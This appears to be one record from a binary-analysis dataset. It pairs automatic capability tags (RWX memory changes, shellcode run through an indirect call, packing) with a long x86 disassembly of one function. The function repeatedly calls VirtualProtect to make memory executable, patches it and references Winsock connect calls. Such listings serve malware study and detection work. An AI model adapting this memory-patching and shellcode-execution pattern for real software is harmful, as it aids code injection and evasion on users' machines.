Function at 0x4094db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.004a9c7c
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.004a9c7c
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x4bb404
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
jmp 0x40956d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
cmp dword [0x4c285b], 0
je 0x4095ba
jmp 0x40a56f
call fcn.0040a652
test eax, eax
je 0x4095d6
mov dword [0x4c285b], 1
jmp 0x40a56f
mov eax, 0x4bb8a5
test eax, eax
je 0x4095f2
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004a9c7c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x409603
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1770
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x409641
push 0x187
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x409677
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4096ac
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4096c0
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4096e6
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x409772
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8e8
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8e8
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a536
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4bb922]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
fld qword [ebp - 0x3c]
call fcn.00401d67
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4097d1
push 0x440
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4bb922]
fstp qword [ebp - 0x3c]
push 0x80000301
push 0
push 1
fld qword [ebp - 0x3c]
call fcn.00401d67
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.004acc10
add esp, 0x1c
mov dword [ebp - 0x40], eax
mov eax, 0x4bb92a
xor ecx, ecx
test eax, eax
je 0x409822
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
test eax, eax
je 0x409833
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x40984a
dec eax
test ecx, ecx
je 0x40984a
call fcn.0040942f
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x40986a
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x4098f6
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb933
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb933
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a536
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4bb922]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
push 0x1c
push dword [ebp - 0x10]
fld qword [ebp - 0x3c]
call fcn.00401d67
push eax
xor eax, eax
call dword [0x4c2af3]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x40994f
push 0x6bf
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40999a
push 0x6f3
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x4099e8
push 0x736
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4bb96d]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
fld qword [ebp - 0x3c]
call fcn.00401d67
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x409a3a
push 0x78b
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x409a74
push 0x7c8
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x409abb
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x4bb975]
fstp qword [ebp - 0x40]
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
fld qword [ebp - 0x40]
call fcn.00401d67
push eax
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x409b21
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4bb96d]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0x1770
fld qword [ebp - 0x3c]
call fcn.00401d67
push eax
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x409b73
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x409bad
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.0040a833
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x409fbb
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409c06
push 0x9b2
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409c23
push 0x9b2
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
cmp dword [ebp + 8], eax
jle 0x409fb3
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409c65
push 0xa0f
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409c82
push 0xa0f
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409cb6
push 0xa0f
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409cd3
push 0xa0f
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
fild dword [ebx]
fstp qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x4c]
fild dword [ebp + 8]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fcomp qword [0x4bb7d0]
fnstsw ax
test ah, 1
je 0x409fb3
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409d3d
push 0xa52
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409d5a
push 0xa52
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409d8e
push 0xa52
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409dab
push 0xa52
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409df4
push 0xa52
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409e1b
push 0xabc
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409e38
push 0xabc
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409e6c
push 0xabc
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409e89
push 0xabc
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a76e
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x409ece
push ebx
call fcn.004a9c82
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409ef9
push 0xb07
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409f16
push 0xb07
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00402df4
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409f4a
push 0xb07
push 0x4026e93
push 4
call fcn.004a9c88
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409f67
push 0xb07
push 0x4026e93
push 1
call fcn.004a9c88
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409fae
push 0xb07
push 0x4026e93
push 6
call fcn.004a9c88
add esp, 0xc
jmp 0x409fbb
pop eax
pop ebx
pop ecx
jmp 0x409bd1
add esp, 0xc
cmp dword [0x4c285b], 0
jne 0x40a047
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409ffc
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40a010
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a036
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a047
mov eax, 1
jmp 0x40a04c
mov eax, 0
test eax, eax
je 0x40a0d6
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb97d
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb97d
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a15f
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a114
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40a128
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a14e
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a15f
mov eax, 1
jmp 0x40a164
mov eax, 0
test eax, eax
je 0x40a1ee
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb9b7
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb9b7
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a277
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a22c
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40a240
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a266
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a277
mov eax, 1
jmp 0x40a27c
mov eax, 0
test eax, eax
je 0x40a306
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb9f1
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bb9f1
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a38f
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a344
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40a358
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a37e
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a38f
mov eax, 1
jmp 0x40a394
mov eax, 0
test eax, eax
je 0x40a41e
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bba2b
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bba2b
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
cmp dword [0x4c285b], 0
jne 0x40a4a7
push dword [ebp - 4]
push 0x4bb8bb
mov ecx, 2
call fcn.00401d10
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a45c
mov eax, 0x4bb404
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40a470
mov eax, 0x4bb404
push eax
push 3
mov ebx, 0x1ac
call fcn.004acaa0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a496
push ebx
call fcn.004a9c82
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a4a7
mov eax, 1
jmp 0x40a4ac
mov eax, 0
test eax, eax
je 0x40a536
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bba65
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4bb8c6
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4bba65
push 4
mov ebx, 0x300
call fcn.004ab490
add esp, 0x34
mov dword [0x4c285b], 1
mov dword [0x4c285b], 1
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x40a569
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40a57f
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40a58f
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40a5ab
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40a5bb
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40a5cb
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40a5db
push ebx
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40a5f9
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40a5f5
imul eax, dword [ebx]
jmp 0x40a5ea
mov ecx, eax
test ecx, ecx
je 0x40a634
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x20
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004a9c82
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004a9c82
add esp, 4
pop ebx
call fcn.004a9c82
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40a5ff
call fcn.004a9c82
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40a64c
push ebx
call fcn.004a9c82
add esp, 4
mov esp, ebp
pop ebp
ret 4